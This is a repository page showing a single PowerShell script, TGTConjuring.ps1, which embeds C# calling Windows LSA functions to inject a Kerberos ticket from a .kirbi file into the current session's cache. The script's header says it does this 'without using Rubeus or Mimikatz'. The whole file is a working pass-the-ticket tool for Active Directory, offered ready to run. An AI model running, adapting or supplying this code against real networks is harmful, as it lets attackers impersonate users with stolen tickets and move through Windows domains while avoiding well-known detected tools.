etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
TGTConjuring.ps1 (5327B)
      1 <#
      2     Author: vari.sh
      3     Main code taken from https://github.com/vletoux/MakeMeEnterpriseAdmin/
      4 
      5     Description: This script let you import your Kirbi Tickets in your Kerberos Cache without using Rubeus or Mimikatz.
      6                   If you have a dc.ccache instead you can use impacket 'python3 ticketConverter.py ticket.ccache ticket.kirbi'.
      7     Usage: .\TGTConjuring.ps1 ticket.kirbi
      8 #>
      9 
     10 param (
     11     [string]$KirbiFile
     12 )
     13 
     14 if (-not (Test-Path $KirbiFile)) {
     15     Write-Host "[!] Error: file $KirbiFile not found!" -ForegroundColor Red
     16     exit 1
     17 }
     18 
     19 $ticketBytes = [System.IO.File]::ReadAllBytes($KirbiFile)
     20 
     21 Add-Type -TypeDefinition @"
     22 using System;
     23 using System.ComponentModel;
     24 using System.Runtime.InteropServices;
     25 
     26 namespace kerberos
     27 {
     28     public class TGTImporter
     29     {
     30         [DllImport("secur32.dll", SetLastError = false)]
     31         private static extern int LsaConnectUntrusted([Out] out IntPtr LsaHandle);
     32 
     33         [DllImport("secur32.dll", SetLastError = false)]
     34         private static extern int LsaDeregisterLogonProcess([In] IntPtr LsaHandle);
     35 
     36         [DllImport("secur32.dll", SetLastError = false)]
     37         private static extern int LsaLookupAuthenticationPackage([In] IntPtr LsaHandle, [In] ref LSA_STRING PackageName, [Out] out int AuthenticationPackage);
     38 
     39         [DllImport("secur32.dll", SetLastError = false)]
     40         private static extern int LsaCallAuthenticationPackage(IntPtr LsaHandle, int AuthenticationPackage, IntPtr ProtocolSubmitBuffer, int SubmitBufferLength, out IntPtr ProtocolReturnBuffer, out int ReturnBufferLength, out int ProtocolStatus);
     41 
     42 
     43         [DllImport("advapi32.dll", SetLastError = false)]
     44         private static extern int LsaNtStatusToWinError(int StatusCode);
     45 
     46         private enum KERB_PROTOCOL_MESSAGE_TYPE : uint
     47         {
     48             KerbSubmitTicketMessage = 21,
     49         }
     50 
     51         [StructLayout(LayoutKind.Sequential)]
     52         private struct LSA_STRING
     53         {
     54             public UInt16 Length;
     55             public UInt16 MaximumLength;
     56             public String Buffer;
     57         }
     58 
     59         [StructLayout(LayoutKind.Sequential)]
     60         private struct KERB_CRYPTO_KEY32
     61         {
     62             public int KeyType;
     63             public int Length;
     64             public int Offset;
     65         }
     66 
     67         [StructLayout(LayoutKind.Sequential)]
     68         private struct LUID {
     69             int LowPart;
     70             int HighPart;
     71         }
     72 
     73         [StructLayout(LayoutKind.Sequential)]
     74         private struct KERB_SUBMIT_TKT_REQUEST
     75         {
     76             public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
     77             public LUID LogonId;
     78             public int Flags;
     79             public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
     80             public int KerbCredSize;
     81             public int KerbCredOffset;
     82         }
     83 
     84         public static void ImportTGT(byte[] ticket)
     85         {
     86             IntPtr LsaHandle = IntPtr.Zero;
     87             int AuthenticationPackage;
     88             int ntstatus, ProtocalStatus;
     89             
     90             ntstatus = LsaConnectUntrusted(out LsaHandle);
     91             if (ntstatus != 0)
     92                 throw new Win32Exception(LsaNtStatusToWinError(ntstatus));
     93             IntPtr inputBuffer = IntPtr.Zero;
     94             IntPtr ProtocolReturnBuffer;
     95             int ReturnBufferLength;
     96             try
     97             {
     98                 LSA_STRING LSAString;
     99                 string Name = "kerberos";
    100                 LSAString.Length = (ushort)Name.Length;
    101                 LSAString.MaximumLength = (ushort)(Name.Length + 1);
    102                 LSAString.Buffer = Name;
    103 
    104                 ntstatus = LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage);
    105                 if (ntstatus != 0)
    106                     throw new Win32Exception(LsaNtStatusToWinError(ntstatus));
    107 
    108                 KERB_SUBMIT_TKT_REQUEST request = new KERB_SUBMIT_TKT_REQUEST();
    109                 request.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage;
    110                 request.KerbCredSize = ticket.Length;
    111                 request.KerbCredOffset = Marshal.SizeOf(typeof(KERB_SUBMIT_TKT_REQUEST));
    112             
    113                 int inputBufferSize = Marshal.SizeOf(typeof(KERB_SUBMIT_TKT_REQUEST)) + ticket.Length;
    114                 inputBuffer = Marshal.AllocHGlobal(inputBufferSize);
    115                 Marshal.StructureToPtr(request, inputBuffer, false);
    116                 Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length);
    117 
    118                 ntstatus = LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus);
    119                 if (ntstatus != 0)
    120                     throw new Win32Exception(LsaNtStatusToWinError(ntstatus));
    121                 if (ProtocalStatus != 0)
    122                     throw new Win32Exception(LsaNtStatusToWinError(ProtocalStatus));
    123             }
    124             finally
    125             {
    126                 if (inputBuffer != IntPtr.Zero)
    127                     Marshal.FreeHGlobal(inputBuffer);
    128                 LsaDeregisterLogonProcess(LsaHandle);
    129             }
    130         }
    131     }
    132 }
    133 "@
    134 
    135 Write-Host "[*] Importing Kerberos Ticket..."
    136 [kerberos.TGTImporter]::ImportTGT($ticketBytes)
    137 
    138 Write-Host "`n[*] Tickets in Kerberos cache:" -ForegroundColor Cyan
    139 Start-Process -NoNewWindow -FilePath "klist.exe"